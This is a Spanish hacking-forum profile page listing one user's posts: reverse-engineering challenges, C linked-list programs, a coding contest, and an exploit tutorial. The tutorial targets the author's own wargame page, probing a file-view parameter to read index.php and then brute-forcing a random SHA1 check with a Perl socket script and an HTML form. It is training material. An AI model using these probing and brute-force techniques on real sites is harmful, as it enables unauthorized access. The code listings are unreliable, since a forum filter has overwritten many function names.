Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - mr.blood

Páginas: [1]
1
Ingeniería Inversa / [KeygenMe] Matrix
« en: Marzo 24, 2015, 02:48:04 pm »
Aquí os dejo un KeygenMe, espero que os guste. Está programado en C++ no sé que nivel de dificultad decir que tiene, para crackearlo será nivel 0, pero el reto es hacer un keygen :).

You are not allowed to view links. Register or Login

SaluDoS

2
Ingeniería Inversa / [InyectMe] Edge
« en: Junio 16, 2013, 03:10:08 pm »
Hoy les dejo un InyectMe muy sencillito, para que los nuevos practiquen un poco ;).

Deben cambiar el "Cambiame" del MessageBox por su nick, así de sencillo. Cuando lo consigan me envían un MP con una captura y les agrego al Hall Of Fame.

[Edge] InyectMe.rar (486 B)
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Sa1uDoS

3
Códigos Fuentes / [C] Agenda con listas enlazadas
« en: Junio 11, 2013, 03:14:13 am »
EDITO: Sorry, Google me trolleó este código no es mío es de myguestp lo confundí con uno mío muy parecido. Todos los créditos a él.



Traigo este código como un pequeño ejemplo de listas enlazadas. Lo hice hace ya un par de años así que seguramente no lo volvería a hacer igual :P.

Código: C
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. #define ID_NAME 60
  6. #define ID_APELLIDO1 61
  7. #define ID_APELLIDO2 62
  8. #define ID_TELEFONO 63
  9.  
  10.  
  11. typedef struct lista
  12. {
  13.     char nombre[10], apellido1[10], apellido2[10], telefono[10];
  14.     struct lista *siguiente;
  15. }lista;
  16.  
  17. lista *primero=NULL, *ultimo=NULL;
  18.  
  19. void cls();
  20. void pause();
  21. void delnewline(char *array);
  22. void additem();
  23. void recorrer();
  24. bool finditem(char *word, int flag);
  25.  
  26. int main()
  27. {
  28.     int opc, id;
  29.     char word[10], op[10];
  30.     lista *aux;
  31.    
  32.     while(opc!=4)
  33.     {
  34.         You are not allowed to view links. Register or Login("Indica que hacer:\n\n 1.Introducir contacto\n 2.Recorrer agenda\n 3.Buscar contacto\n 4.Salir\n\n");
  35.         You are not allowed to view links. Register or Login("%i", &opc);
  36.         cls();
  37.         switch(opc)
  38.         {
  39.             case 1:
  40.                 additem();
  41.             break;
  42.             case 2:
  43.                 recorrer();
  44.                 pause();
  45.             break;
  46.             case 3:
  47.                 You are not allowed to view links. Register or Login("Indica por que criterio buscar(nombre, apellido1, apellido2 o telefono): ");
  48.                 You are not allowed to view links. Register or Login("%s", op);
  49.                 delnewline(op);
  50.                 if(You are not allowed to view links. Register or Login(op, "nombre")==0) id=ID_NAME;
  51.                 else if(You are not allowed to view links. Register or Login(op, "apellido1")==0) id=ID_APELLIDO1;
  52.                 else if(You are not allowed to view links. Register or Login(op, "apellido2")==0) id=ID_APELLIDO2;
  53.                 else if(You are not allowed to view links. Register or Login(op, "telefono")==0) id=ID_TELEFONO;
  54.                 else break;
  55.                 cls();
  56.                 You are not allowed to view links. Register or Login("Indica la palabra a buscar:\n\n");
  57.                 You are not allowed to view links. Register or Login("%s", word);
  58.                 cls();
  59.                 finditem(word, id);
  60.                 pause();
  61.             break;
  62.             case 4:
  63.             break;
  64.             default:
  65.                 You are not allowed to view links. Register or Login("Elije una opcion correcta");
  66.             break;
  67.         }
  68.         cls();
  69.     }
  70.     aux=primero;
  71.     while(aux!=NULL)
  72.     {
  73.         You are not allowed to view links. Register or Login(aux);
  74.         aux=aux->siguiente;
  75.     }
  76.     return 0;
  77. }
  78.  
  79. void cls()
  80. {
  81.     #ifndef WIN32
  82.      You are not allowed to view links. Register or Login("clear");
  83.     #else
  84.      You are not allowed to view links. Register or Login("cls");
  85.     #endif
  86. }
  87.  
  88. void pause()
  89. {
  90.     You are not allowed to view links. Register or Login(stdin, NULL);
  91.     You are not allowed to view links. Register or Login();
  92. }
  93. void delnewline(char *array)
  94. {
  95.     while(*array!='\0')
  96.     {
  97.         if(*array=='\n')
  98.         {
  99.             *array='\0';
  100.         }
  101.         array++;
  102.     }
  103. }
  104.  
  105. void additem()
  106. {
  107.     lista *nuevo;
  108.     nuevo=(lista*)You are not allowed to view links. Register or Login(sizeof(lista));
  109.     You are not allowed to view links. Register or Login("Introduce el nombre completo(ejemplo: Miguel Ruiz Cruz):\n\n");
  110.     You are not allowed to view links. Register or Login("%s %s %s", nuevo->nombre, nuevo->apellido1, nuevo->apellido2);
  111.     You are not allowed to view links. Register or Login("\nIntroduce ahora el numero de telefono(9 cifras): ");
  112.     You are not allowed to view links. Register or Login("%s", nuevo->telefono);
  113.     cls();
  114.     delnewline(nuevo->nombre);
  115.     delnewline(nuevo->apellido1);
  116.     delnewline(nuevo->apellido2);
  117.     delnewline(nuevo->telefono);
  118.     if(primero==NULL)
  119.     {
  120.         primero=(lista*)You are not allowed to view links. Register or Login(sizeof(lista));
  121.         ultimo=(lista*)You are not allowed to view links. Register or Login(sizeof(lista));
  122.         if(!primero || !ultimo)
  123.         {
  124.             You are not allowed to view links. Register or Login("No se pudo reservar memoria para el item");
  125.             return;
  126.         }
  127.         primero=nuevo;
  128.         primero->siguiente=ultimo;
  129.         ultimo=nuevo;
  130.         ultimo->siguiente=NULL;
  131.         return;
  132.     }
  133.     ultimo->siguiente=nuevo;
  134.     ultimo=nuevo;
  135.     ultimo->siguiente=NULL;
  136.     return;
  137. }
  138.  
  139. void recorrer()
  140. {
  141.     lista *aux;
  142.     aux=primero;
  143.     if(aux==NULL)
  144.     {
  145.         You are not allowed to view links. Register or Login("Lista vacia");
  146.         return;
  147.     }
  148.     while(aux!=NULL)
  149.     {
  150.         You are not allowed to view links. Register or Login("Nombre: %s %s %s  Telefono: %s\n\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
  151.         aux=aux->siguiente;
  152.     }
  153.     return;
  154. }
  155.  
  156. bool finditem(char *word, int flag)
  157. {
  158.     lista *aux;
  159.     int cont=0;
  160.     aux=primero;
  161.     if(aux==NULL)
  162.     {
  163.         return false;
  164.     }
  165.     if(flag==ID_NAME)
  166.     {
  167.         while(aux!=NULL)
  168.         {
  169.             if(You are not allowed to view links. Register or Login(aux->nombre, word)==0)
  170.             {
  171.                 You are not allowed to view links. Register or Login("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
  172.                 cont++;
  173.             }
  174.             aux=aux->siguiente;
  175.         }
  176.     }
  177.     else if(flag==ID_APELLIDO1)
  178.     {
  179.         while(aux!=NULL)
  180.         {
  181.             if(You are not allowed to view links. Register or Login(aux->apellido1, word)==0)
  182.             {
  183.                 You are not allowed to view links. Register or Login("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
  184.                 cont++;
  185.             }
  186.             aux=aux->siguiente;
  187.         }
  188.     }
  189.     else if(flag==ID_APELLIDO2)
  190.     {
  191.         while(aux!=NULL)
  192.         {
  193.             if(You are not allowed to view links. Register or Login(aux->apellido2, word)==0)
  194.             {
  195.                 You are not allowed to view links. Register or Login("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
  196.                 cont++;
  197.             }
  198.             aux=aux->siguiente;
  199.         }
  200.     }
  201.     else if(flag==ID_TELEFONO)
  202.     {
  203.         while(aux!=NULL)
  204.         {
  205.             if(You are not allowed to view links. Register or Login(aux->telefono, word)==0)
  206.             {
  207.                 You are not allowed to view links. Register or Login("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
  208.                 cont++;
  209.             }
  210.             aux=aux->siguiente;
  211.         }
  212.     }
  213.     if(cont==0)
  214.     {
  215.         You are not allowed to view links. Register or Login("No se encontraron resultados");
  216.         return false;
  217.     }
  218.     You are not allowed to view links. Register or Login("\nSe encontraron %i resultados", cont);
  219.     return true;
  220. }

Sa1uDoS

4
Bugs y Exploits / Metodologia a seguir para crear un exploit
« en: Junio 08, 2013, 11:55:31 am »
NOTA IMPORTANTE: ESTADO DEL SERVIDOR AHORA: ONLINE

Bueno, hoy sabado, sin ganas de seguir intentando el reto 4 de seth. Comienzo a escribir este "tutorial" sobre que pasos dar para hacer un exploit tras descubrir una vulnerabilidad.

Agradezcan el tutorial a The-XC3LL.

Bien, este tutorial sera "interactivo", osea que para entenderlo mejor, seria bueno que antes de leer como se hace, intenteis hacerlo.

Sin mas que decir, EMPEZAMOS!!



Si no sabes que es un EXPLOIT, empieza a leerte las FAQ de la seccion Bug's y Exploit's ;).

Bien, lo primero es abrir la Web vulnerable, en este caso es You are not allowed to view links. Register or Login.

La metodologia que yo sigo es mirar el codigo fuente y despues ver las cabeceras con HTTP Live Headers, o Tamper Data.

Si no vemos nada extraño, empecemos a probar cosas.

Por ejemplo, pulsemos sobre View File 1. Nos dice Dale.
Si damos clic sobre View File 2, nos dice Vamonos!.
Y si damos clic sobre View File 3, ¿qué nos dirá?... Pues nos dice xD.

Bien, veamos como funciona este PHP internamente, cambiemos todos los parametros por un 4. Quedaria You are not allowed to view links. Register or Login.
Mmm, que interesante, ahora nos dice Archivo no encontrado. Osea que esos parametros se refieren a archivos del servidor... Interesante.

Veamos si tengo razón, cambiemos todos los parametros por index.php. ¡DIOS MIO! Que webmaster tan descuidado, podemos ver el contenido de index.php.

Fijemonos en esta parte:

Código: PHP
  1.    $array[] = 10;
  2.    $array[] = You are not allowed to view links. Register or Login($array[0], 100);
  3.    $array[] = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($array[0]) . You are not allowed to view links. Register or Login($array));
  4.    $array[0] = $array[You are not allowed to view links. Register or Login($array)-1];
  5.    
  6.    if ( You are not allowed to view links. Register or Login($_POST[$array[1]]) && ($_POST[$array[1]] == $array[0]) )
  7.    {
  8.       if( You are not allowed to view links. Register or Login($_GET[3]) )
  9.       {
  10.          echo "Reto superado!";
  11.          You are not allowed to view links. Register or Login;
  12.       }
  13.    }
  14.  

Para quienes no sepan PHP, les recomiendo que lo aprendan, es un gran lenguaje, muy util para todo, y muy necesario para el Hacking, pero bueno, explico un poco el codigo.

$array[] es una matriz, que empieza con el valor 10. Osea, que de momento como no tiene mas elementos el esquema quedaria $array=([0]=>0);. ([0] es el indice, en este caso se refiere al primer elemento)

Bien, ahora $array[]=rand($array[0],100); Con $array[]= le decimos que guarde el valor en otro elemento del array, como el siguiente libre es 1, pues lo guarda en $array[1]. ¿Y qué guarda?, pues un numero aleatorio entre $array[0] (10) y 100.

Siguiente linea, $array[] = sha1(sha1($array[0]) . implode($array));. Aqui guardamos en $array[2] el valor de codificar en sha1 $array[0] (10) concatenado con implode($array). Concatenar significa unir, ejemplo "1"."1" seria "11" ;). implode($array) une todos los elementos de $array. En este caso son: $array=([0]=>10;[1]=>rand(10,100);).
Pongo el rand, porque nosotros no conocemos que valor es. Entonces quedaria sha1("10").rand(10,100). Bien, despues de eso asigna a $array[2] la codificacion sha1 de sha1("10")."10".rand(10,100).

Lo siguiente, es asignar a $array[0] el valor de $array[sizeof($array)-1], o lo que es lo mismo, $array[2].

Ese if comprueba si pasamos por el metodo POST el argumento $array[1] y si es igual a $array[0], si todo esta bien, muestra el mensaje de que lo superamos.

Bien, ahora que sabemos que hace el codigo, analicemos el problema que se nos presenta.

Tenemos que pasar por el metodo POST $array[0] que es la codificacion en sha1 de sha1("10"), y el "10".rand(10,100); El problema es que nosotros no podemos controlar que numero aleatorio genera el php...

Uhmm dificil problema ¿no?. ¿Qué solucion se os ocurre? Despues de un rato pensando, se me ocurre algo. ¿Qué tal si enviamos todas las posibilidades de codificar en sha1 sha1("10") con cada numero del 10 al 100?, asi acertamos seguro ¿no?. Porque no, probemos.

¿Cual seria la forma mas facil de hacer esto?... Uhmmm la forma mas sencilla seria con HTML, pero yo os mostrare como hacerlo con Perl tambien ;).

Vale, lo 1º que tenemos que hacer, aprender Perl si no lo hemos aprendido ya ;).

Lo 2º, pongamos musica, abramos nuestro IDE favorito, y empecemos a codear ;).

Comenzamos:

Bueno, ya sabemos que problema hay y como resolverlo, nos queda programar un script que lo haga por nosotros, porque hacerlo a mano es demasiado largo.

Vale, lo primero es saber usar Sockets. Son muy simples en Perl ;).
Lo 2º, miramos la Documentacion de Perl, para ver como codificar en SHA1, una vez lo tengamos, ya  podremos hacer el exploit.

Ahh, casi lo olvido, parte fundamental del exploit, SABER ALGO DEL PROTOCOLO HTTP.
Porque, aunque podemos usar librerias como LWP que nos hagan el trabajo sucio a mano, prefiero enviar la cabecera a mano :P.

En fin, hasta aqui lo que os he podido enseñar... El resto del trabajo que tendreis que hacer por vuestra cuenta sera aprender algo de Perl y de HTTP hasta que entendais el Exploit, aun asi dejo el codigo bien comentado ;).

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. #~ Ejemplo para el tutorial sobre la metodologia de como crear un exploit
  4. #~ Codeado por mr.blood
  5.  
  6. #~ Incluimos librerias
  7. use IO::Socket::INET;
  8. use Digest::SHA;
  9.  
  10.  
  11. #~ Creamos el objeto $SHA1 para poder encriptar con este hash
  12. $SHA1 = Digest::SHA->new(1);
  13.  
  14. #~ Como el .php usa una cadena constante (10), la encripto primero para no perder tiempo en cada ciclo
  15. $SHA1->add("10");
  16. $const=$SHA1->hexdigest();
  17.  
  18. #~ Declaro hash donde metermos todo el contenido de los numeros / hash que vamos a enviar
  19. $hash="";
  20.  
  21. #~ Bucle for desde 10 hasta 100
  22. for($i=10;$i<=100;$i++)
  23. {
  24.         #~ Encriptamos en SHA1 el "10" encriptado en SHA1 antes y un "10" mas la variable contador
  25.         $SHA1->add($const."10".$i);
  26.  
  27.         #~ Peticion = peticion + variable contador + "="+hash+"&"
  28.         $hash.="$i=".$SHA1->hexdigest()."&";
  29. }
  30.  
  31. #~ Quitamos el ultimo &
  32. $hash=You are not allowed to view links. Register or Login($hash,0,-1);
  33.  
  34. #~ Empezamos a configurar la cabecera
  35. $peticion="POST /wargame/1/index.php?3=a HTTP/1.0\r\nHOST:mr-blood.com\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:".You are not allowed to view links. Register or Login($hash)."\r\n\r\n";
  36.  
  37. #~ Adjuntamos el contenido de hash / numero
  38. $peticion.=$hash;
  39.  
  40. #~ Indicamos el fin de la cabecera
  41. $peticion.="\r\n";
  42.  
  43. #~ Conectamos al servidor
  44. $sock=IO::Socket::INET->new(PeerAddr=>"mr-blood.com",PeerPort=>"80", Proto=>"tcp");
  45.  
  46. #~ Enviamos al servidor
  47. You are not allowed to view links. Register or Login $sock $peticion;
  48. You are not allowed to view links. Register or Login <$sock>;
  49.  

Con HTML seria

Código: HTML
  1. <You are not allowed to view links. Register or Login>
  2.    <You are not allowed to view links. Register or Login>
  3.       <You are not allowed to view links. Register or Login method="post" action="[url]http://www.mr-blood.com/wargame/1/index.php?3=a[/url]" name="formu">
  4.          <You are not allowed to view links. Register or Login type='hidden' name='10' value='5241e22b10c7cd7b584a030a5a3e4d0ddcfad23a'>
  5.          <You are not allowed to view links. Register or Login type='hidden' name='11' value='a03b139c54e9541788414ceac70f904b634973d8'>
  6.          <You are not allowed to view links. Register or Login type='hidden' name='12' value='276bac22af85764d66b495d6468114051299b40c'>
  7.          <You are not allowed to view links. Register or Login type='hidden' name='13' value='1399d4e7f4d90c0ac7048b449e3202220c93ab95'>
  8.          <You are not allowed to view links. Register or Login type='hidden' name='14' value='94c53d8dc0796c3fcbaf79495daa3a5ada55f12a'>
  9.          <You are not allowed to view links. Register or Login type='hidden' name='15' value='f1e02f447c4b6340a79670d6f8ceb7895d885cd3'>
  10.          <You are not allowed to view links. Register or Login type='hidden' name='16' value='624c02af3c9a403868cccd6a3efcad7c965d03d3'>
  11.          <You are not allowed to view links. Register or Login type='hidden' name='17' value='861ebd683457fd800680009340531583749562b5'>
  12.          <You are not allowed to view links. Register or Login type='hidden' name='18' value='cbc8acda930ac6b9b285e2484c813486e5f1b8ca'>
  13.          <You are not allowed to view links. Register or Login type='hidden' name='19' value='f40c52c5120557998959d1faae7238069ebf45da'>
  14.          <You are not allowed to view links. Register or Login type='hidden' name='20' value='b037de6ef10d595faaf88e78612dd6341bc6d1af'>
  15.          <You are not allowed to view links. Register or Login type='hidden' name='21' value='9d85b504abc477270194dde00cf743507ff91a76'>
  16.          <You are not allowed to view links. Register or Login type='hidden' name='22' value='d587dd0b791261982692227a38442da3ac8fe22c'>
  17.          <You are not allowed to view links. Register or Login type='hidden' name='23' value='ccd90168b04b2258bdcef494136fd27295b81075'>
  18.          <You are not allowed to view links. Register or Login type='hidden' name='24' value='bd1435a6a8d0a54097563d5c9f35d00bbe466a75'>
  19.          <You are not allowed to view links. Register or Login type='hidden' name='25' value='3944963b1ce5fcb70e5ce4a15d847851c0137d27'>
  20.          <You are not allowed to view links. Register or Login type='hidden' name='26' value='8fb8a7a47da01ea7f55a0efe05907593fc1888c6'>
  21.          <You are not allowed to view links. Register or Login type='hidden' name='27' value='21d2b25ca48cbc4149cf970f092a32abbae4fb88'>
  22.          <You are not allowed to view links. Register or Login type='hidden' name='28' value='684ca122505c3a614dcffac27ca6109d2b18f33d'>
  23.          <You are not allowed to view links. Register or Login type='hidden' name='29' value='ef07592a5c58f839bb76dd823dfdd7c43729f07e'>
  24.          <You are not allowed to view links. Register or Login type='hidden' name='30' value='582e8f8bdb9840d3bec5a0906828708fc460da7b'>
  25.          <You are not allowed to view links. Register or Login type='hidden' name='31' value='d0c7e7f1e639cac7febe9596c04fa3efac60a7b4'>
  26.          <You are not allowed to view links. Register or Login type='hidden' name='32' value='1e5d2683077207581ab03bec2df884ac2d013ee9'>
  27.          <You are not allowed to view links. Register or Login type='hidden' name='33' value='ab3a2c8ef86dd9929e9dd3c99694b894ab31da6c'>
  28.          <You are not allowed to view links. Register or Login type='hidden' name='34' value='ef1e23dfbe669661aee93552a0a188a123b72135'>
  29.          <You are not allowed to view links. Register or Login type='hidden' name='35' value='a4eb2958fd3c9e4b876b8871dfebb61d47b321d6'>
  30.          <You are not allowed to view links. Register or Login type='hidden' name='36' value='efae44c695604c7c50d448da65cc8b6f9b769676'>
  31.          <You are not allowed to view links. Register or Login type='hidden' name='37' value='7f027cfe4cfa2f3900b611b71270a95fd380bf63'>
  32.          <You are not allowed to view links. Register or Login type='hidden' name='38' value='346833f76fc8c9a698b9163a7eb433df52a3791e'>
  33.          <You are not allowed to view links. Register or Login type='hidden' name='39' value='10d6ff05ee932812c77205414866f45f6b12d12d'>
  34.          <You are not allowed to view links. Register or Login type='hidden' name='40' value='708dfcbd367fdb5ab8ee51c7dfdc82dc1f8f86f1'>
  35.          <You are not allowed to view links. Register or Login type='hidden' name='41' value='612ff66a43c6a449358a21160322a8c704a19c02'>
  36.          <You are not allowed to view links. Register or Login type='hidden' name='42' value='4e96645109fd6b55dca3c064d508b6c4ddfd2bf7'>
  37.          <You are not allowed to view links. Register or Login type='hidden' name='43' value='e94f6987841f932c015ae223f15ded8b39a91922'>
  38.          <You are not allowed to view links. Register or Login type='hidden' name='44' value='c683ce8c5e271ee8f9bbdf28a22578e799bd32c2'>
  39.          <You are not allowed to view links. Register or Login type='hidden' name='45' value='6d8e98545d29b25ce411a33d56c6efb2cd11ac20'>
  40.          <You are not allowed to view links. Register or Login type='hidden' name='46' value='5b8863b1e3abefe108b688ef5673884a76129fbe'>
  41.          <You are not allowed to view links. Register or Login type='hidden' name='47' value='51a110ac8dfe72bf1ad7bfb18b358763cd0f3849'>
  42.          <You are not allowed to view links. Register or Login type='hidden' name='48' value='68d609687a986f59ffdbf6bbc52e301cc07bae63'>
  43.          <You are not allowed to view links. Register or Login type='hidden' name='49' value='b838c1c42b8b6018610da84d102b78198169c9bc'>
  44.          <You are not allowed to view links. Register or Login type='hidden' name='50' value='eea2a4256e116005b68717415536df704292921b'>
  45.          <You are not allowed to view links. Register or Login type='hidden' name='51' value='a578bcc12c48f9069057b742532e943388c49cd9'>
  46.          <You are not allowed to view links. Register or Login type='hidden' name='52' value='518ab6481006cf7233403ba078d2fd7460c5b42f'>
  47.          <You are not allowed to view links. Register or Login type='hidden' name='53' value='394006d762d0d0df62c9900b3b012bc84093b347'>
  48.          <You are not allowed to view links. Register or Login type='hidden' name='54' value='6c7b051e5079c9186bcc0d87e42b33122e35e55e'>
  49.          <You are not allowed to view links. Register or Login type='hidden' name='55' value='7bf0aaf948b3ccc2f64d74413f3b742e87833a64'>
  50.          <You are not allowed to view links. Register or Login type='hidden' name='56' value='f014f26b96f5e9095a6f36d48a78ae6d852436d8'>
  51.          <You are not allowed to view links. Register or Login type='hidden' name='57' value='5654b0dcbfd85010df6a8780263b87b77cc7ae50'>
  52.          <You are not allowed to view links. Register or Login type='hidden' name='58' value='a727d0c5aaf97e9c7425a5b90221360b4b1ac7bc'>
  53.          <You are not allowed to view links. Register or Login type='hidden' name='59' value='571aef913d9a84f6789550709057e996e93cb2ef'>
  54.          <You are not allowed to view links. Register or Login type='hidden' name='60' value='93f815b36507f09430906534293e1c835db0962f'>
  55.          <You are not allowed to view links. Register or Login type='hidden' name='61' value='eb69afbcd4daaf8d8475fc4490f368f8ff4f81dd'>
  56.          <You are not allowed to view links. Register or Login type='hidden' name='62' value='f91cb26b7b06be1fbd192ce8835afd7f99cb0004'>
  57.          <You are not allowed to view links. Register or Login type='hidden' name='63' value='8dc6e9ab876a4b49d8df8af63a702b86d4038355'>
  58.          <You are not allowed to view links. Register or Login type='hidden' name='64' value='c86e8c1d0dc6e477fa05b23b24a955d43f5a7bda'>
  59.          <You are not allowed to view links. Register or Login type='hidden' name='65' value='f541e56d2e976408a8c83175900e14b6a646dc68'>
  60.          <You are not allowed to view links. Register or Login type='hidden' name='66' value='02356f5b3a1d41f3c74bf4a2aab1d4ec28717124'>
  61.          <You are not allowed to view links. Register or Login type='hidden' name='67' value='fcedf7873e897cf3256997a151a43b48e8f70de0'>
  62.          <You are not allowed to view links. Register or Login type='hidden' name='68' value='a7316620be9ff4d86aff4dc6cb67c1f137a3a7a8'>
  63.          <You are not allowed to view links. Register or Login type='hidden' name='69' value='cbe1f15d3f0eed42f459c7a0e39879e1be31c42a'>
  64.          <You are not allowed to view links. Register or Login type='hidden' name='70' value='700fbee3d8b49ae6b77d46a1e32ff62d2496d3d9'>
  65.          <You are not allowed to view links. Register or Login type='hidden' name='71' value='25bd1b5387eb4f9ee14cc092db1f4bb02b4189bc'>
  66.          <You are not allowed to view links. Register or Login type='hidden' name='72' value='31ae34500917043543eb77f8e073bdbdbf09b9b3'>
  67.          <You are not allowed to view links. Register or Login type='hidden' name='73' value='3b3d9ec0697f9d38d600d3991bac14bd0e9b9f1b'>
  68.          <You are not allowed to view links. Register or Login type='hidden' name='74' value='341fe7d22415e323ff9f3ed937a78ba4dbbb2dc6'>
  69.          <You are not allowed to view links. Register or Login type='hidden' name='75' value='b5b0f6f15965d8b46e9fddfad1345f94d99c50f9'>
  70.          <You are not allowed to view links. Register or Login type='hidden' name='76' value='494472f443d02b3861a68c0faf64d1bb5bec1ec4'>
  71.          <You are not allowed to view links. Register or Login type='hidden' name='77' value='bb4dac71f2922fb7b1a9007b1afbb8512c31ab0e'>
  72.          <You are not allowed to view links. Register or Login type='hidden' name='78' value='abada3f9954a296c36d63e3b244b4cefc0933b8b'>
  73.          <You are not allowed to view links. Register or Login type='hidden' name='79' value='85fe446b1927b113ccb3e5bccbe7b96d997cbd22'>
  74.          <You are not allowed to view links. Register or Login type='hidden' name='80' value='58e14b5ec5b359540fcffa4ca33fce03c075fcc8'>
  75.          <You are not allowed to view links. Register or Login type='hidden' name='81' value='2fe0c6c2d42652273e05913afa2561bc027f83ff'>
  76.          <You are not allowed to view links. Register or Login type='hidden' name='82' value='f28eede207a9a97db0e7b9df7e8cbd059def0cdc'>
  77.          <You are not allowed to view links. Register or Login type='hidden' name='83' value='8afaccb11991b5711feb99d9143d0223c7ae93b3'>
  78.          <You are not allowed to view links. Register or Login type='hidden' name='84' value='67f833ae248d355ad1d79750a57b69855f015a32'>
  79.          <You are not allowed to view links. Register or Login type='hidden' name='85' value='9bad193754f4b994882c74cd3acdb5260649f12b'>
  80.          <You are not allowed to view links. Register or Login type='hidden' name='86' value='4164ce6a05f701126fab11be1b4ee7986468d224'>
  81.          <You are not allowed to view links. Register or Login type='hidden' name='87' value='bb361f62a3284086679450214220582d8fb37013'>
  82.          <You are not allowed to view links. Register or Login type='hidden' name='88' value='824254fc09609e325d4db5b1c4303c3e6af33db2'>
  83.          <You are not allowed to view links. Register or Login type='hidden' name='89' value='1738ee9204393bc3add64ee5555672a32bd7edef'>
  84.          <You are not allowed to view links. Register or Login type='hidden' name='90' value='2d54565b0e5120022a11bb20546e894b33bf4e71'>
  85.          <You are not allowed to view links. Register or Login type='hidden' name='91' value='440e9a8f03795242eb531d122fe543cd9623e8ce'>
  86.          <You are not allowed to view links. Register or Login type='hidden' name='92' value='b8d92b83bb01edff516abff2f8c73afd3d67542e'>
  87.          <You are not allowed to view links. Register or Login type='hidden' name='93' value='bc0d88afd61fb8b44ab9d87bbd872f7589b3ea9d'>
  88.          <You are not allowed to view links. Register or Login type='hidden' name='94' value='099e8a02963269720a23f1249f696375796e9d35'>
  89.          <You are not allowed to view links. Register or Login type='hidden' name='95' value='123d8b03c2db644a6164d3a25b17502a588021b9'>
  90.          <You are not allowed to view links. Register or Login type='hidden' name='96' value='3a3ed348dac5c8ca1383cf3dda9a9550d35619cc'>
  91.          <You are not allowed to view links. Register or Login type='hidden' name='97' value='de63ed4b7e7f1ed0de5c759147153704f3088809'>
  92.          <You are not allowed to view links. Register or Login type='hidden' name='98' value='73073ba058a0f6b797b7659a613a0708e061a732'>
  93.          <You are not allowed to view links. Register or Login type='hidden' name='99' value='53ac83b3eacbc6c3a66441b01ad9f169163c6f7e'>
  94.          <You are not allowed to view links. Register or Login type='hidden' name='100' value='2990a2405123c054263407f7fe4c498236ea15ea'>
  95.          <You are not allowed to view links. Register or Login type='submit' value='Exploit it'>
  96.       </You are not allowed to view links. Register or Login>
  97.    </You are not allowed to view links. Register or Login>
  98. </You are not allowed to view links. Register or Login>
  99.  

Espero que os sirva y que tengais algo mas de documentacion de la que yo tuve cuando empecé ;).

Os pido por favor, que no me hagais el tonto con el hosting, osea no envieis miles de peticiones, o tendre que cerrar la zona de practicas, lo que seria una pena ;). Con una o dos es mas que suficiente para ver que funciona ;).

Informaciones de interes:
   · El paper You are not allowed to view links. Register or Login

Si algo no queda claro, hay algun fallo, o cometi alguna falta ortografica grave, hacedmelo saber ;)

Y si teneis sugerencias para mejorarlo, tambien comentad, en fin, comentad y decid que os parece ;).

Sa1uDoS

P.D.: Si quieres postear el tutorial en otro lugar, no olvides mencionar el autor por favor, que hacer estas cosas lleva su tiempo.

5
C / C++ / [RETO] Animaos!
« en: Mayo 26, 2013, 12:06:50 pm »
Pensando en animar un poco esta sección propongo un reto en el que podrán participar TODOS LOS QUE SEPAN C o C++.

Imaginen que tengo una matriz de 3x3 y necesito rellenarla de números enteros positivos comprendidos entre 0 y 3*3-1. Los números deben estar dispersos por la matriz, colocados de forma aleatoria. En la matriz no puede repetirse ningún número.

La matriz realmente será de 1000x1000. El que tenga el tiempo de ejecución más bajo GANA, simple no?

Los códigos por MP para no dar ideas. Aquí las preguntas.

Yo no participo, pero tengo mi código que mostraré cuando este reto acabe. También postearé los 3 códigos más rápidos ;).

FECHA LÍMITE: Viernes 31 de mayo de 2013.

Reglas
  • Cada código será ejecutado 3 veces y se hará la media entre los tiempos.
  • Los números deben estar colocados de modo aleatorio.
  • No puede repetirse un número en la matriz.
  • Los lenguajes aceptados son C y C++, no es válido combinarlos con ASM de ningún modo.
  • Los códigos deben ser multiplataforma. (IMPORTANTE)



EDITO:

Debéis usar dos #define por todo el código para que cambiando los valores de estos pueda crear matrices de 3x3 o 4x4 para poder corregir más rápido, por favor, hacedlo así.

También debéis poner un for que recorra y muestre la matriz, cuando tome los tiempos comentaré y compilaré esa parte, así que tranquilos.

Suerte a [email protected]!

Sa1uDoS

6
Códigos Fuentes / [C] Gestor de notas
« en: Mayo 20, 2013, 01:18:43 pm »
Un programa para organizar alumnos y notas utilizando listas enlazadas.

Código: C
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. struct alumnos
  6. {
  7.    struct alumnos *last;
  8.    char nombre[15];
  9.    int nota;
  10. };
  11.  
  12. struct alumnos *actual;
  13.  
  14. void nuevo_alumno(char *nombre, int nota)
  15. {
  16.    struct alumnos *nuevo;
  17.    nuevo=(struct alumnos *)You are not allowed to view links. Register or Login(sizeof(struct alumnos));
  18.    You are not allowed to view links. Register or Login(nuevo->nombre, nombre);
  19.    nuevo->nota=nota;
  20.    
  21.    if(actual==NULL)
  22.    {
  23.       actual=nuevo;
  24.    }
  25.    else
  26.    {
  27.       nuevo->last=actual;
  28.       actual=nuevo;
  29.    }
  30. }
  31.  
  32. void mostrar_lista()
  33. {
  34.    struct alumnos *consulta;
  35.    for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
  36.    {
  37.       You are not allowed to view links. Register or Login("\n%s --- %i", consulta->nombre, consulta->nota);
  38.    }
  39.    You are not allowed to view links. Register or Login("\n%s --- %i", consulta->nombre, consulta->nota);
  40. }
  41.  
  42. void borrar_lista()
  43. {
  44.    struct alumnos *consulta;
  45.    struct alumnos *buffer;
  46.    consulta=actual;
  47.    while(consulta->last!=NULL)
  48.    {
  49.       buffer=consulta->last;
  50.       You are not allowed to view links. Register or Login(consulta);
  51.       consulta=buffer;
  52.    }
  53. }
  54.  
  55. void guardar_lista()
  56. {
  57.    FILE *archivo=You are not allowed to view links. Register or Login("archivo", "w");
  58.    struct alumnos *consulta;
